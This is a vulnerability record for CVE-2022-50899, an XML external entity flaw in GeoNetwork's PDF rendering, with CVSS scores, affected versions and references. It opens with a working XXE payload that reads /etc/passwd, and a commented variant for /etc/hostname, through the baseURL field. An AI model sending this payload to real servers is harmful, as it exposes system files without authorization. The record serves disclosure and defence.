CVE-2022-50899

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE pdfxml [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <pdf> <metadata> <title>Document with XXE</title> <baseURL>&xxe;</baseURL> </metadata> <content> <text>Test content</text> </content> </pdf> <!-- Alternative XXE Payload for reading /etc/hostname --> <!-- <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]> <pdf><baseURL>&xxe;</baseURL></pdf> -->

{"cve": {"id": "CVE-2022-50899", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:52.007", "lastModified": "2026-02-27T19:48:19.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Geonetwork 3.10 through 4.2.0 contains an XML external entity vulnerability in PDF rendering that allows attackers to retrieve arbitrary files from the server. Attackers can exploit the insecure XML parser by crafting a malicious XML document with external entity references to read system files through the baseURL parameter in PDF creation requests."}, {"lang": "es", "value": "Geonetwork 3.10 hasta 4.2.0 contiene una vulnerabilidad de entidad externa XML en la renderización de PDF que permite a los atacantes recuperar archivos arbitrarios del servidor. Los atacantes pueden explotar el analizador XML inseguro creando un documento XML malicioso con referencias a entidades externas para leer archivos del sistema a través del parámetro baseURL en las solicitudes de creación de PDF."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-611"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:osgeo:geonetwork:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.10.0", "versionEndIncluding": "4.2.0", "matchCriteriaId": "6C27C8DC-5803-42B5-8CA0-395CA377CB52"}]}]}], "references": [{"url": "https://geonetwork-opensource.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/50982", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/geonetwork-xml-external-entity-xxe", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}